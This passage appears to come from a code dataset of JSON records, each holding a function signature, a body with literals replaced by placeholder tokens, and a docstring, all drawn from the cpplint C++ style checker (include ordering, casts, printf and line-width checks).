matched.group(<NUM_LIT:1>)<EOL>expression = matched.group(<NUM_LIT:2>)<EOL><DEDENT><DEDENT>if not (lhs and operator and rhs):<EOL><INDENT>return<EOL><DEDENT>if rhs.find('<STR_LIT>') > -<NUM_LIT:1> or rhs.find('<STR_LIT>') > -<NUM_LIT:1>:<EOL><INDENT>return<EOL><DEDENT>lhs = lhs.strip()<EOL>rhs = rhs.strip()<EOL>match_constant = r'<STR_LIT>'<EOL>if Match(match_constant, lhs) or Match(match_constant, rhs):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>' % (<EOL>_CHECK_REPLACEMENT[check_macro][operator],<EOL>check_macro, operator))<EOL><DEDENT>", "docstring": "Checks the use of CHECK and EXPECT macros.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m68"}
{"signature": "def CheckAltTokens(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>if Match(r'<STR_LIT>', line):<EOL><INDENT>return<EOL><DEDENT>if line.find('<STR_LIT>') >= <NUM_LIT:0> or line.find('<STR_LIT>') >= <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>for match in _ALT_TOKEN_REPLACEMENT_PATTERN.finditer(line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>' % (<EOL>_ALT_TOKEN_REPLACEMENT[match.group(<NUM_LIT:1>)], match.group(<NUM_LIT:1>)))<EOL><DEDENT>", "docstring": "Check alternative keywords being used in boolean expressions.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m69"}
{"signature": "def GetLineWidth(line):", "body": "if isinstance(line, unicode):<EOL><INDENT>width = <NUM_LIT:0><EOL>for uc in unicodedata.normalize('<STR_LIT>', line):<EOL><INDENT>if unicodedata.east_asian_width(uc) in ('<STR_LIT>', '<STR_LIT:F>'):<EOL><INDENT>width += <NUM_LIT:2><EOL><DEDENT>elif not unicodedata.combining(uc):<EOL><INDENT>width += <NUM_LIT:1><EOL><DEDENT><DEDENT>return width<EOL><DEDENT>else:<EOL><INDENT>return len(line)<EOL><DEDENT>", "docstring": "Determines the width of the line in column positions.\n\n    Args:\n      line: A string, which may be a Unicode string.\n\n    Returns:\n      The width of the line in column positions, accounting for Unicode\n      combining characters and wide characters.", "id": "f7245:m70"}
{"signature": "def CheckStyle(filename, clean_lines, linenum, file_extension, nesting_state,<EOL>error):", "body": "<EOL>raw_lines = clean_lines.lines_without_raw_strings<EOL>line = raw_lines[linenum]<EOL>prev = raw_lines[linenum - <NUM_LIT:1>] if linenum > <NUM_LIT:0> else '<STR_LIT>'<EOL>if line.find('<STR_LIT:\\t>') != -<NUM_LIT:1>:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:1>,<EOL>'<STR_LIT>')<EOL><DEDENT>scope_or_label_pattern = r'<STR_LIT>'<EOL>classinfo = nesting_state.InnermostClass()<EOL>initial_spaces = <NUM_LIT:0><EOL>cleansed_line = clean_lines.elided[linenum]<EOL>while initial_spaces < len(line) and line[initial_spaces] == '<STR_LIT:U+0020>':<EOL><INDENT>initial_spaces += <NUM_LIT:1><EOL><DEDENT>if (not Search(r'<STR_LIT>', prev) and<EOL>(initial_spaces == <NUM_LIT:1> or initial_spaces == <NUM_LIT:3>) and<EOL>not Match(scope_or_label_pattern, cleansed_line) and<EOL>not (clean_lines.raw_lines[linenum] != line and<EOL>Match(r'<STR_LIT>', line))):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if line and line[-<NUM_LIT:1>].isspace():<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT>is_header_guard = False<EOL>if file_extension in GetHeaderExtensions():<EOL><INDENT>cppvar = GetHeaderGuardCPPVariable(filename)<EOL>if (line.startswith('<STR_LIT>' % cppvar) or<EOL>line.startswith('<STR_LIT>' % cppvar) or<EOL>line.startswith('<STR_LIT>' % cppvar)):<EOL><INDENT>is_header_guard = True<EOL><DEDENT><DEDENT>if (not line.startswith('<STR_LIT>') and not is_header_guard and<EOL>not Match(r'<STR_LIT>', line) and<EOL>not Match(r'<STR_LIT>', line) and<EOL>not Match(r'<STR_LIT>', line) and<EOL>not Match(r'<STR_LIT>', line)):<EOL><INDENT>line_width = GetLineWidth(line)<EOL>if line_width > _line_length:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>' % _line_length)<EOL><DEDENT><DEDENT>if (cleansed_line.count('<STR_LIT:;>') > <NUM_LIT:1> and<EOL>not Match(r'<STR_LIT>',<EOL>line) and<EOL>cleansed_line.find('<STR_LIT>') == -<NUM_LIT:1> and<EOL>(GetPreviousNonBlankLine(clean_lines, linenum)[<NUM_LIT:0>].find('<STR_LIT>') == -<NUM_LIT:1> or<EOL>GetPreviousNonBlankLine(clean_lines, linenum)[<NUM_LIT:0>].find('<STR_LIT:;>') != -<NUM_LIT:1>) and<EOL>not ((cleansed_line.find('<STR_LIT>') != -<NUM_LIT:1> or<EOL>cleansed_line.find('<STR_LIT>') != -<NUM_LIT:1>) and<EOL>cleansed_line.find('<STR_LIT>') != -<NUM_LIT:1>)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:0>,<EOL>'<STR_LIT>')<EOL><DEDENT>CheckBraces(filename, clean_lines, linenum, error)<EOL>CheckTrailingSemicolon(filename, clean_lines, linenum, error)<EOL>CheckEmptyBlockBody(filename, clean_lines, linenum, error)<EOL>CheckAccess(filename, clean_lines, linenum, nesting_state, error)<EOL>CheckSpacing(filename, clean_lines, linenum, nesting_state, error)<EOL>CheckOperatorSpacing(filename, clean_lines, linenum, error)<EOL>CheckParenthesisSpacing(filename, clean_lines, linenum, error)<EOL>CheckCommaSpacing(filename, clean_lines, linenum, error)<EOL>CheckBracesSpacing(filename, clean_lines, linenum, nesting_state, error)<EOL>CheckSpacingForFunctionCall(filename, clean_lines, linenum, error)<EOL>CheckCheck(filename, clean_lines, linenum, error)<EOL>CheckAltTokens(filename, clean_lines, linenum, error)<EOL>classinfo = nesting_state.InnermostClass()<EOL>if classinfo:<EOL><INDENT>CheckSectionSpacing(filename, clean_lines, classinfo, linenum, error)<EOL><DEDENT>", "docstring": "Checks rules from the 'C++ style rules' section of cppguide.html.\n\n    Most of these rules are hard to test (naming, comment style), but we\n    do what we can.  In particular we check for 2-space indents, line lengths,\n    tab usage, spaces inside code, etc.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      file_extension: The extension (without the dot) of the filename.\n      nesting_state: A NestingState instance which maintains information about\n                     the current stack of nested blocks being parsed.\n      error: The function to call with any errors found.", "id": "f7245:m71"}
{"signature": "def _DropCommonSuffixes(filename):", "body": "for suffix in itertools.chain(<EOL>('<STR_LIT>' % (test_suffix.lstrip('<STR_LIT:_>'), ext)<EOL>for test_suffix, ext in itertools.product(_test_suffixes, GetNonHeaderExtensions())),<EOL>('<STR_LIT>' % (suffix, ext)<EOL>for suffix, ext in itertools.product(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'], GetHeaderExtensions()))):<EOL><INDENT>if (filename.endswith(suffix) and len(filename) > len(suffix) and<EOL>filename[-len(suffix) - <NUM_LIT:1>] in ('<STR_LIT:->', '<STR_LIT:_>')):<EOL><INDENT>return filename[:-len(suffix) - <NUM_LIT:1>]<EOL><DEDENT><DEDENT>return os.path.splitext(filename)[<NUM_LIT:0>]<EOL>", "docstring": "Drops common suffixes like _test.cc or -inl.h from filename.\n\n    For example:\n      >>> _DropCommonSuffixes('foo/foo-inl.h')\n      'foo/foo'\n      >>> _DropCommonSuffixes('foo/bar/foo.cc')\n      'foo/bar/foo'\n      >>> _DropCommonSuffixes('foo/foo_internal.h')\n      'foo/foo'\n      >>> _DropCommonSuffixes('foo/foo_unusualinternal.h')\n      'foo/foo_unusualinternal'\n\n    Args:\n      filename: The input filename.\n\n    Returns:\n      The filename with the common suffix removed.", "id": "f7245:m72"}
{"signature": "def _ClassifyInclude(fileinfo, include, is_system):", "body": "<EOL>is_cpp_h = include in _CPP_HEADERS<EOL>if is_system and os.path.splitext(include)[<NUM_LIT:1>] in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>is_system = False<EOL><DEDENT>if is_system:<EOL><INDENT>if is_cpp_h:<EOL><INDENT>return _CPP_SYS_HEADER<EOL><DEDENT>else:<EOL><INDENT>return _C_SYS_HEADER<EOL><DEDENT><DEDENT>target_dir, target_base = (<EOL>os.path.split(_DropCommonSuffixes(fileinfo.RepositoryName())))<EOL>include_dir, include_base = os.path.split(_DropCommonSuffixes(include))<EOL>target_dir_pub = os.path.normpath(target_dir + '<STR_LIT>')<EOL>target_dir_pub = target_dir_pub.replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>if target_base == include_base and (<EOL>include_dir == target_dir or<EOL>include_dir == target_dir_pub):<EOL><INDENT>return _LIKELY_MY_HEADER<EOL><DEDENT>target_first_component = _RE_FIRST_COMPONENT.match(target_base)<EOL>include_first_component = _RE_FIRST_COMPONENT.match(include_base)<EOL>if (target_first_component and include_first_component and<EOL>target_first_component.group(<NUM_LIT:0>) ==<EOL>include_first_component.group(<NUM_LIT:0>)):<EOL><INDENT>return _POSSIBLE_MY_HEADER<EOL><DEDENT>return _OTHER_HEADER<EOL>", "docstring": "Figures out what kind of header 'include' is.\n\n    Args:\n      fileinfo: The current file cpplint is running over. A FileInfo instance.\n      include: The path to a #included file.\n      is_system: True if the #include used <> rather than \"\".\n\n    Returns:\n      One of the _XXX_HEADER constants.\n\n    For example:\n      >>> _ClassifyInclude(FileInfo('foo/foo.cc'), 'stdio.h', True)\n      _C_SYS_HEADER\n      >>> _ClassifyInclude(FileInfo('foo/foo.cc'), 'string', True)\n      _CPP_SYS_HEADER\n      >>> _ClassifyInclude(FileInfo('foo/foo.cc'), 'foo/foo.h', False)\n      _LIKELY_MY_HEADER\n      >>> _ClassifyInclude(FileInfo('foo/foo_unknown_extension.cc'),\n      ...                  'bar/foo_other_ext.h', False)\n      _POSSIBLE_MY_HEADER\n      >>> _ClassifyInclude(FileInfo('foo/foo.cc'), 'foo/bar.h', False)\n      _OTHER_HEADER", "id": "f7245:m73"}
{"signature": "def CheckIncludeLine(filename, clean_lines, linenum, include_state, error):", "body": "fileinfo = FileInfo(filename)<EOL>line = clean_lines.lines[linenum]<EOL>match = Match(r'<STR_LIT>', line)<EOL>if match and not _THIRD_PARTY_HEADERS_PATTERN.match(match.group(<NUM_LIT:1>)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT>match = _RE_PATTERN_INCLUDE.search(line)<EOL>if match:<EOL><INDENT>include = match.group(<NUM_LIT:2>)<EOL>is_system = (match.group(<NUM_LIT:1>) == '<STR_LIT:<>')<EOL>duplicate_line = include_state.FindHeader(include)<EOL>if duplicate_line >= <NUM_LIT:0>:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>' %<EOL>(include, filename, duplicate_line))<EOL>return<EOL><DEDENT>for extension in GetNonHeaderExtensions():<EOL><INDENT>if (include.endswith('<STR_LIT:.>' + extension) and<EOL>os.path.dirname(fileinfo.RepositoryName()) != os.path.dirname(include)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>' + extension + '<STR_LIT>')<EOL>return<EOL><DEDENT><DEDENT>if not _THIRD_PARTY_HEADERS_PATTERN.match(include):<EOL><INDENT>include_state.include_list[-<NUM_LIT:1>].append((include, linenum))<EOL>error_message = include_state.CheckNextIncludeOrder(<EOL>_ClassifyInclude(fileinfo, include, is_system))<EOL>if error_message:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>' %<EOL>(error_message, fileinfo.BaseName()))<EOL><DEDENT>canonical_include = include_state.CanonicalizeAlphabeticalOrder(include)<EOL>if not include_state.IsInAlphabeticalOrder(<EOL>clean_lines, linenum, canonical_include):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>' % include)<EOL><DEDENT>include_state.SetLastHeader(canonical_include)<EOL><DEDENT><DEDENT>", "docstring": "Check rules that are applicable to #include lines.\n\n    Strings on #include lines are NOT removed from elided line, to make\n    certain tasks easier. However, to prevent false positives, checks\n    applicable to #include lines in CheckLanguage must be put here.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      include_state: An _IncludeState instance in which the headers are inserted.\n      error: The function to call with any errors found.", "id": "f7245:m74"}
{"signature": "def _GetTextInside(text, start_pattern):", "body": "<EOL>matching_punctuation = {'<STR_LIT:(>': '<STR_LIT:)>', '<STR_LIT:{>': '<STR_LIT:}>', '<STR_LIT:[>': '<STR_LIT:]>'}<EOL>closing_punctuation = set(itervalues(matching_punctuation))<EOL>match = re.search(start_pattern, text, re.M)<EOL>if not match:  <EOL><INDENT>return None<EOL><DEDENT>start_position = match.end(<NUM_LIT:0>)<EOL>assert start_position > <NUM_LIT:0>, (<EOL>'<STR_LIT>')<EOL>assert text[start_position - <NUM_LIT:1>] in matching_punctuation, (<EOL>'<STR_LIT>')<EOL>punctuation_stack = [matching_punctuation[text[start_position - <NUM_LIT:1>]]]<EOL>position = start_position<EOL>while punctuation_stack and position < len(text):<EOL><INDENT>if text[position] == punctuation_stack[-<NUM_LIT:1>]:<EOL><INDENT>punctuation_stack.pop()<EOL><DEDENT>elif text[position] in closing_punctuation:<EOL><INDENT>return None<EOL><DEDENT>elif text[position] in matching_punctuation:<EOL><INDENT>punctuation_stack.append(matching_punctuation[text[position]])<EOL><DEDENT>position += <NUM_LIT:1><EOL><DEDENT>if punctuation_stack:<EOL><INDENT>return None<EOL><DEDENT>return text[start_position:position - <NUM_LIT:1>]<EOL>", "docstring": "r\"\"\"Retrieves all the text between matching open and close parentheses.\n\n    Given a string of lines and a regular expression string, retrieve all the text\n    following the expression and between opening punctuation symbols like\n    (, [, or {, and the matching close-punctuation symbol. This properly nested\n    occurrences of the punctuations, so for the text like\n      printf(a(), b(c()));\n    a call to _GetTextInside(text, r'printf\\(') will return 'a(), b(c())'.\n    start_pattern must match string having an open punctuation symbol at the end.\n\n    Args:\n      text: The lines to extract text. Its comments and strings must be elided.\n             It can be single line and can span multiple lines.\n      start_pattern: The regexp string indicating where to start extracting\n                     the text.\n    Returns:\n      The extracted text.\n      None if either the opening string or ending punctuation could not be found.", "id": "f7245:m75"}
{"signature": "def CheckLanguage(filename, clean_lines, linenum, file_extension,<EOL>include_state, nesting_state, error):", "body": "<EOL>line = clean_lines.elided[linenum]<EOL>if not line:<EOL><INDENT>return<EOL><DEDENT>match = _RE_PATTERN_INCLUDE.search(line)<EOL>if match:<EOL><INDENT>CheckIncludeLine(filename, clean_lines, linenum, include_state, error)<EOL>return<EOL><DEDENT>match = Match(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>include_state.ResetSection(match.group(<NUM_LIT:1>))<EOL><DEDENT>CheckCasts(filename, clean_lines, linenum, error)<EOL>CheckGlobalStatic(filename, clean_lines, linenum, error)<EOL>CheckPrintf(filename, clean_lines, linenum, error)<EOL>if file_extension in GetHeaderExtensions():<EOL><INDENT>pass<EOL><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>if not Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>match = Search(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>' % match.group(<NUM_LIT:1>))<EOL><DEDENT><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT>printf_args = _GetTextInside(line, r'<STR_LIT>')<EOL>if printf_args:<EOL><INDENT>match = Match(r'<STR_LIT>', printf_args)<EOL>if match and match.group(<NUM_LIT:1>) != '<STR_LIT>':<EOL><INDENT>function_name = re.search(r'<STR_LIT>',<EOL>line, re.I).group(<NUM_LIT:1>)<EOL>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>'<EOL>% (function_name, match.group(<NUM_LIT:1>)))<EOL><DEDENT><DEDENT>match = Search(r'<STR_LIT>', line)<EOL>if match and not Match(r\"<STR_LIT>\", match.group(<NUM_LIT:2>)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>'<EOL>% (match.group(<NUM_LIT:1>), match.group(<NUM_LIT:2>)))<EOL><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>match = Match(r'<STR_LIT>', line)<EOL>if (match and match.group(<NUM_LIT:2>) != '<STR_LIT>' and match.group(<NUM_LIT:2>) != '<STR_LIT>' and<EOL>match.group(<NUM_LIT:3>).find('<STR_LIT:]>') == -<NUM_LIT:1>):<EOL><INDENT>tokens = re.split(r'<STR_LIT>', match.group(<NUM_LIT:3>))<EOL>is_const = True<EOL>skip_next = False<EOL>for tok in tokens:<EOL><INDENT>if skip_next:<EOL><INDENT>skip_next = False<EOL>continue<EOL><DEDENT>if Search(r'<STR_LIT>', tok): continue<EOL>if Search(r'<STR_LIT>', tok): continue<EOL>tok = tok.lstrip('<STR_LIT:(>')<EOL>tok = tok.rstrip('<STR_LIT:)>')<EOL>if not tok: continue<EOL>if Match(r'<STR_LIT>', tok): continue<EOL>if Match(r'<STR_LIT>', tok): continue<EOL>if Match(r'<STR_LIT>', tok): continue<EOL>if Match(r'<STR_LIT>', tok): continue<EOL>if Match(r'<STR_LIT>', tok): continue<EOL>if tok.startswith('<STR_LIT>'):<EOL><INDENT>skip_next = True<EOL>continue<EOL><DEDENT>is_const = False<EOL>break<EOL><DEDENT>if not is_const:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:1>,<EOL>'<STR_LIT>'<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if (file_extension in GetHeaderExtensions()<EOL>and Search(r'<STR_LIT>', line)<EOL>and line[-<NUM_LIT:1>] != '<STR_LIT:\\\\>'):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Checks rules from the 'C++ language rules' section of cppguide.html.\n\n    Some of these rules are hard to test (function overloading, using\n    uint32 inappropriately), but we do the best we can.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      file_extension: The extension (without the dot) of the filename.\n      include_state: An _IncludeState instance in which the headers are inserted.\n      nesting_state: A NestingState instance which maintains information about\n                     the current stack of nested blocks being parsed.\n      error: The function to call with any errors found.", "id": "f7245:m76"}
{"signature": "def CheckGlobalStatic(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>if linenum + <NUM_LIT:1> < clean_lines.NumLines() and not Search(r'<STR_LIT>', line):<EOL><INDENT>line += clean_lines.elided[linenum + <NUM_LIT:1>].strip()<EOL><DEDENT>match = Match(<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>',<EOL>line)<EOL>if (match and<EOL>not Search(r'<STR_LIT>', line) and<EOL>not Search(r'<STR_LIT>', line) and<EOL>not Match(r'<STR_LIT>', match.group(<NUM_LIT:4>))):<EOL><INDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(match.group(<NUM_LIT:1>), match.group(<NUM_LIT:2>) or '<STR_LIT>', match.group(<NUM_LIT:3>)))<EOL><DEDENT>else:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if (Search(r'<STR_LIT>', line) or<EOL>Search(r'<STR_LIT>', line)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Check for unsafe global or static objects.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m77"}
{"signature": "def CheckPrintf(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>match = Search(r'<STR_LIT>', line)<EOL>if match and match.group(<NUM_LIT:2>) != '<STR_LIT:0>':<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (match.group(<NUM_LIT:1>), match.group(<NUM_LIT:2>)))<EOL><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT>match = Search(r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>' % match.group(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "Check for printf related issues.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m78"}
{"signature": "def IsDerivedFunction(clean_lines, linenum):", "body": "<EOL>for i in xrange(linenum, max(-<NUM_LIT:1>, linenum - <NUM_LIT:10>), -<NUM_LIT:1>):<EOL><INDENT>match = Match(r'<STR_LIT>', clean_lines.elided[i])<EOL>if match:<EOL><INDENT>line, _, closing_paren = CloseExpression(<EOL>clean_lines, i, len(match.group(<NUM_LIT:1>)))<EOL>return (closing_paren >= <NUM_LIT:0> and<EOL>Search(r'<STR_LIT>', line[closing_paren:]))<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Check if current line contains an inherited function.\n\n    Args:\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n    Returns:\n      True if current line contains a function with \"override\"\n      virt-specifier.", "id": "f7245:m79"}
{"signature": "def IsOutOfLineMethodDefinition(clean_lines, linenum):", "body": "<EOL>for i in xrange(linenum, max(-<NUM_LIT:1>, linenum - <NUM_LIT:10>), -<NUM_LIT:1>):<EOL><INDENT>if Match(r'<STR_LIT>', clean_lines.elided[i]):<EOL><INDENT>return Match(r'<STR_LIT>', clean_lines.elided[i]) is not None<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Check if current line contains an out-of-line method definition.\n\n    Args:\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n    Returns:\n      True if current line contains an out-of-line method definition.", "id": "f7245:m80"}
{"signature": "def IsInitializerList(clean_lines, linenum):", "body": "for i in xrange(linenum, <NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>line = clean_lines.elided[i]<EOL>if i == linenum:<EOL><INDENT>remove_function_body = Match(r'<STR_LIT>', line)<EOL>if remove_function_body:<EOL><INDENT>line = remove_function_body.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>return True<EOL><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>return True<EOL><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Check if current line is inside constructor initializer list.\n\n    Args:\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n    Returns:\n      True if current line appears to be inside constructor initializer\n      list, False otherwise.", "id": "f7245:m81"}
{"signature": "def CheckForNonConstReference(filename, clean_lines, linenum,<EOL>nesting_state, error):", "body": "<EOL>line = clean_lines.elided[linenum]<EOL>if '<STR_LIT:&>' not in line:<EOL><INDENT>return<EOL><DEDENT>if IsDerivedFunction(clean_lines, linenum):<EOL><INDENT>return<EOL><DEDENT>if IsOutOfLineMethodDefinition(clean_lines, linenum):<EOL><INDENT>return<EOL><DEDENT>if linenum > <NUM_LIT:1>:<EOL><INDENT>previous = None<EOL>if Match(r'<STR_LIT>', line):<EOL><INDENT>previous = Search(r'<STR_LIT>',<EOL>clean_lines.elided[linenum - <NUM_LIT:1>])<EOL><DEDENT>elif Match(r'<STR_LIT>', line):<EOL><INDENT>previous = Search(r'<STR_LIT>',<EOL>clean_lines.elided[linenum - <NUM_LIT:1>])<EOL><DEDENT>if previous:<EOL><INDENT>line = previous.group(<NUM_LIT:1>) + line.lstrip()<EOL><DEDENT>else:<EOL><INDENT>endpos = line.rfind('<STR_LIT:>>')<EOL>if endpos > -<NUM_LIT:1>:<EOL><INDENT>(_, startline, startpos) = ReverseCloseExpression(<EOL>clean_lines, linenum, endpos)<EOL>if startpos > -<NUM_LIT:1> and startline < linenum:<EOL><INDENT>line = '<STR_LIT>'<EOL>for i in xrange(startline, linenum + <NUM_LIT:1>):<EOL><INDENT>line += clean_lines.elided[i].strip()<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if (nesting_state.previous_stack_top and<EOL>not (isinstance(nesting_state.previous_stack_top, _ClassInfo) or<EOL>isinstance(nesting_state.previous_stack_top, _NamespaceInfo))):<EOL><INDENT>return<EOL><DEDENT>if linenum > <NUM_LIT:0>:<EOL><INDENT>for i in xrange(linenum - <NUM_LIT:1>, max(<NUM_LIT:0>, linenum - <NUM_LIT:10>), -<NUM_LIT:1>):<EOL><INDENT>previous_line = clean_lines.elided[i]<EOL>if not Search(r'<STR_LIT>', previous_line):<EOL><INDENT>break<EOL><DEDENT>if Match(r'<STR_LIT>', previous_line):<EOL><INDENT>return<EOL><DEDENT><DEDENT><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>return<EOL><DEDENT>if IsInitializerList(clean_lines, linenum):<EOL><INDENT>return<EOL><DEDENT>whitelisted_functions = (r'<STR_LIT>'<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>')<EOL>if Search(whitelisted_functions, line):<EOL><INDENT>return<EOL><DEDENT>elif not Search(r'<STR_LIT>', line):<EOL><INDENT>for i in xrange(<NUM_LIT:2>):<EOL><INDENT>if (linenum > i and<EOL>Search(whitelisted_functions, clean_lines.elided[linenum - i - <NUM_LIT:1>])):<EOL><INDENT>return<EOL><DEDENT><DEDENT><DEDENT>decls = ReplaceAll(r'<STR_LIT>', '<STR_LIT:U+0020>', line)  <EOL>for parameter in re.findall(_RE_PATTERN_REF_PARAM, decls):<EOL><INDENT>if (not Match(_RE_PATTERN_CONST_REF_PARAM, parameter) and<EOL>not Match(_RE_PATTERN_REF_STREAM_PARAM, parameter)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' +<EOL>ReplaceAll('<STR_LIT>', '<STR_LIT:<>', parameter))<EOL><DEDENT><DEDENT>", "docstring": "Check for non-const references.\n\n    Separate from CheckLanguage since it scans backwards from current\n    line, instead of scanning forward.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      nesting_state: A NestingState instance which maintains information about\n                     the current stack of nested blocks being parsed.\n      error: The function to call with any errors found.", "id": "f7245:m82"}
{"signature": "def CheckCasts(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>match = Search(<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>', line)<EOL>expecting_function = ExpectingFunctionArgs(clean_lines, linenum)<EOL>if match and not expecting_function:<EOL><INDENT>matched_type = match.group(<NUM_LIT:2>)<EOL>matched_new_or_template = match.group(<NUM_LIT:1>)<EOL>if Match(r'<STR_LIT>', match.group(<NUM_LIT:3>)):<EOL><INDENT>return<EOL><DEDENT>matched_funcptr = match.group(<NUM_LIT:3>)<EOL>if (matched_new_or_template is None and<EOL>not (matched_funcptr and<EOL>(Match(r'<STR_LIT>',<EOL>matched_funcptr) or<EOL>matched_funcptr.startswith('<STR_LIT>'))) and<EOL>not Match(r'<STR_LIT>' + matched_type, line) and<EOL>not Search(r'<STR_LIT>' + matched_type, line)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>matched_type)<EOL><DEDENT><DEDENT>if not 